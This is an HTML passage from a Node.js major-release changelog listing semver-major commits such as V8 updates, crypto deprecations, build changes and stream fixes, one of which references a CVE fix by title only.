<li>[<a href="https://github.com/nodejs/node/commit/0998c37eb6"><code>0998c37eb6</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: target Power 9 for AIX/IBM i (Richard Lau) <a href="https://github.com/nodejs/node/pull/62296" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62296/hovercard">#62296</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d73c49e849"><code>d73c49e849</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: drop support for Python 3.9 (Mike McCready) <a href="https://github.com/nodejs/node/pull/61177" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61177/hovercard">#61177</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c92ee1008"><code>3c92ee1008</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: enable maglev for Linux on s390x (Richard Lau) <a href="https://github.com/nodejs/node/pull/60863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60863/hovercard">#60863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/908c468828"><code>908c468828</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: reset embedder string to "-node.0" (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6380fbb5ee"><code>6380fbb5ee</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build</strong>: reset embedder string to "-node.0" (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/089d6c77e7"><code>089d6c77e7</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9bd0165c4"><code>f9bd0165c4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>build,win</strong>: fix Temporal build (StefanStojanovic) <a href="https://github.com/nodejs/node/pull/61806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61806/hovercard">#61806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cc4cf8fe8"><code>6cc4cf8fe8</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62499" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62499/hovercard">#62499</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/adac077484"><code>adac077484</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: runtime-deprecate DEP0203 and DEP0204 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62453/hovercard">#62453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/74509b166a"><code>74509b166a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: decorate async crypto job errors with OpenSSL error details (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62348" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62348/hovercard">#62348</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da5843b91d"><code>da5843b91d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: default ML-KEM and ML-DSA pkcs8 export to seed-only format (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62178/hovercard">#62178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dff46c07c3"><code>dff46c07c3</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: move DEP0182 to End-of-Life (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61084/hovercard">#61084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94cd600542"><code>94cd600542</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>crypto</strong>: fix DOMException name for non-extractable key error (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60830/hovercard">#60830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dae2219cca"><code>dae2219cca</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick 0f024d4e66e0 (ishabi) <a href="https://github.com/nodejs/node/pull/62408" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62408/hovercard">#62408</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15d406c1b1"><code>15d406c1b1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: fix V8 race condition for AIX (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46852d2d7a"><code>46852d2d7a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick cd2c216e7658 (LuYahan) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/784431d6fc"><code>784431d6fc</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport 088b7112e7ab (Igor Sheludko) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3839c4a756"><code>3839c4a756</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick 00f6e834029f (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44f64f1dd9"><code>44f64f1dd9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport bef0d9c1bc90 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f8f288e22"><code>1f8f288e22</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick cf1bce40a5ef (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7eccac9ad"><code>d7eccac9ad</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick daf4656ba85e (Milad Fa) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ee1ea7d0b"><code>3ee1ea7d0b</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick d83f479604c8 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80907c0239"><code>80907c0239</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick edeb0a4fa181 (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e0dc169e9"><code>5e0dc169e9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick aa0b288f87cc (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c1f7adbcd"><code>8c1f7adbcd</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to fix Windows build (StefanStojanovic) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cbd3404d9"><code>3cbd3404d9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick highway@989a498fdf3 (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f2b7d4031"><code>9f2b7d4031</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: support madvise(3C) across ALL illumos revisions (Dan McDonald) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/947ec32118"><code>947ec32118</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 for illumos (Dan McDonald) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0660b942b2"><code>0660b942b2</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: remove problematic comment from v8-internal (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bef7b31a3f"><code>bef7b31a3f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: define V8_PRESERVE_MOST as no-op on Windows (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a10bf1e6ce"><code>a10bf1e6ce</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to avoid duplicated zlib symbol (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc547428e1"><code>cc547428e1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update V8 to 14.6.202.33 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b81d2cbcae"><code>b81d2cbcae</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update undici to 8.0.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62384" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62384/hovercard">#62384</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf5c6a8bd4"><code>bf5c6a8bd4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport 151d0a44a1b2 (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b59af772dc"><code>b59af772dc</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick 47800791b35c (Jakob Kummerow) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e41e5228a"><code>5e41e5228a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 for illumos (Dan McDonald) <a href="https://github.com/nodejs/node/pull/59805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59805/hovercard">#59805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2243e58e43"><code>2243e58e43</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: use std::map in MSVC STL for EphemeronRememberedSet (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4157964c42"><code>4157964c42</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: remove problematic comment from v8-internal (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c8483a4e9"><code>7c8483a4e9</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to avoid duplicated zlib symbol (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/54077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/54077/hovercard">#54077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53379f3706"><code>53379f3706</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update V8 to 14.3.127.12 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f819aec288"><code>f819aec288</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: cherry-pick ff34ae20c8e3 (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1acd8df36f"><code>1acd8df36f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: V8: backport fed47445bbdd (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46f72577a4"><code>46f72577a4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 for illumos (Dan McDonald) <a href="https://github.com/nodejs/node/pull/59805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59805/hovercard">#59805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39eb88eaa8"><code>39eb88eaa8</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: use std::map in MSVC STL for EphemeronRememberedSet (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea3d14eadb"><code>ea3d14eadb</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: remove problematic comment from v8-internal (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/58070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58070/hovercard">#58070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc0f245b4"><code>7bc0f245b4</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: patch V8 to avoid duplicated zlib symbol (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/54077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/54077/hovercard">#54077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2843b722c"><code>c2843b722c</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>deps</strong>: update V8 to 14.2.231.9 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4ea323833"><code>b4ea323833</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>diagnostics_channel</strong>: ensure tracePromise consistency with non-Promises (René) <a href="https://github.com/nodejs/node/pull/61766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61766/hovercard">#61766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0c08835f71"><code>0c08835f71</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>doc</strong>: remove extensionless CJS exception for type:module packages (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62176" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62176/hovercard">#62176</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef0f0b0865"><code>ef0f0b0865</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>doc</strong>: update supported Windows SDK version to 11 (Mike McCready) <a href="https://github.com/nodejs/node/pull/61973" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61973/hovercard">#61973</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a00d95c73d"><code>a00d95c73d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>doc</strong>: drop p8 and z13 support (Milad Fa) <a href="https://github.com/nodejs/node/pull/61005" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61005/hovercard">#61005</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/93c25815ee"><code>93c25815ee</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>http</strong>: move writeHeader to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60635/hovercard">#60635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4346c0f7a7"><code>4346c0f7a7</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>http</strong>: fix handling of HTTP upgrades with bodies (Tim Perry) <a href="https://github.com/nodejs/node/pull/60016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60016/hovercard">#60016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa70327610"><code>fa70327610</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>lib</strong>: return undefined for localStorage without file (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61333" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61333/hovercard">#61333</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b328bf74bd"><code>b328bf74bd</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>lib,src</strong>: implement QuotaExceededError as DOMException-derived interface (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62293/hovercard">#62293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98907f560f"><code>98907f560f</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: runtime-deprecate module.register() (Geoffrey Booth) <a href="https://github.com/nodejs/node/pull/62401" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62401/hovercard">#62401</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89f4b6cddb"><code>89f4b6cddb</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>module</strong>: remove --experimental-transform-types (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61803" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61803/hovercard">#61803</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5334433437"><code>5334433437</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: replace uses of deprecated v8::External APIs (gahaas) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46e75f4874"><code>46e75f4874</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: stop using <code>v8::PropertyCallbackInfo&lt;T&gt;::This()</code> (Igor Sheludko) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54fefda0aa"><code>54fefda0aa</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: avoid deprecated Wasm API (Clemens Backes) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/840f509bd1"><code>840f509bd1</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: avoid deprecated <code>FixedArray::Get</code> (Clemens Backes) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75c3bcc3ec"><code>75c3bcc3ec</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: update NODE_MODULE_VERSION to 147 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8480f87375"><code>8480f87375</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: remove deprecated and unused isolate fields (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b6bd8e19"><code>70b6bd8e19</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: update NODE_MODULE_VERSION to 144 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d2bc5249b"><code>7d2bc5249b</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: include <code>node_api_types.h</code> instead of <code>node_api.h</code> in <code>node.h</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/60496" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60496/hovercard">#60496</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91ab1101bc"><code>91ab1101bc</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>src</strong>: update NODE_MODULE_VERSION to 142 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60111/hovercard">#60111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac6375417a"><code>ac6375417a</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: promote DEP0201 to runtime deprecation (René) <a href="https://github.com/nodejs/node/pull/62173" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62173/hovercard">#62173</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c755b0113c"><code>c755b0113c</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: move _stream_* to end-of-life (Sebastian Beltran) <a href="https://github.com/nodejs/node/pull/60657" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60657/hovercard">#60657</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fadb214d95"><code>fadb214d95</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: readable read one buffer at a time (Robert Nagy) <a href="https://github.com/nodejs/node/pull/60441" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60441/hovercard">#60441</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4fe325d93d"><code>4fe325d93d</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>stream</strong>: preserve AsyncLocalStorage on finished only when needed (avcribl) <a href="https://github.com/nodejs/node/pull/59873" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59873/hovercard">#59873</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7682e7e9c5"><code>7682e7e9c5</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: skip wasm allocation tests in workers (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ebfaf25870"><code>ebfaf25870</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: update wpt Wasm jsapi expectations (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece6a17574"><code>ece6a17574</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: support presence of Temporal global (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/75b8d7a912"><code>75b8d7a912</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: add type tags to uses of v8::External (gahaas) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/092a448ad0"><code>092a448ad0</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>test</strong>: fix test-linux-perf-logger for V8 14.3 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60488" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60488/hovercard">#60488</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8eb9c8f794"><code>8eb9c8f794</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: remove v8_initializers_slow workaround from v8.gyp (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a34fe77fe7"><code>a34fe77fe7</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: add Rust args to <code>tools/make-v8.sh</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4666bd6e3"><code>f4666bd6e3</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: update V8 gypfiles for 14.6 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c23d217a6"><code>3c23d217a6</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: update V8 gypfiles for 14.5 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e508489e37"><code>e508489e37</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>tools</strong>: update V8 gypfiles for 14.4 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc97b507d0"><code>dc97b507d0</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>util</strong>: mark proxied objects as such when inspecting them (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61029/hovercard">#61029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ddbe1365ff"><code>ddbe1365ff</code></a>] - <strong>(SEMVER-MAJOR)</strong> <strong>util</strong>: reduce TextEncoder.encodeInto function size (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/60339" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60339/hovercard">#60339</a></li>
</ul>
<h3>Semver-Minor Commits</h3>
<ul>
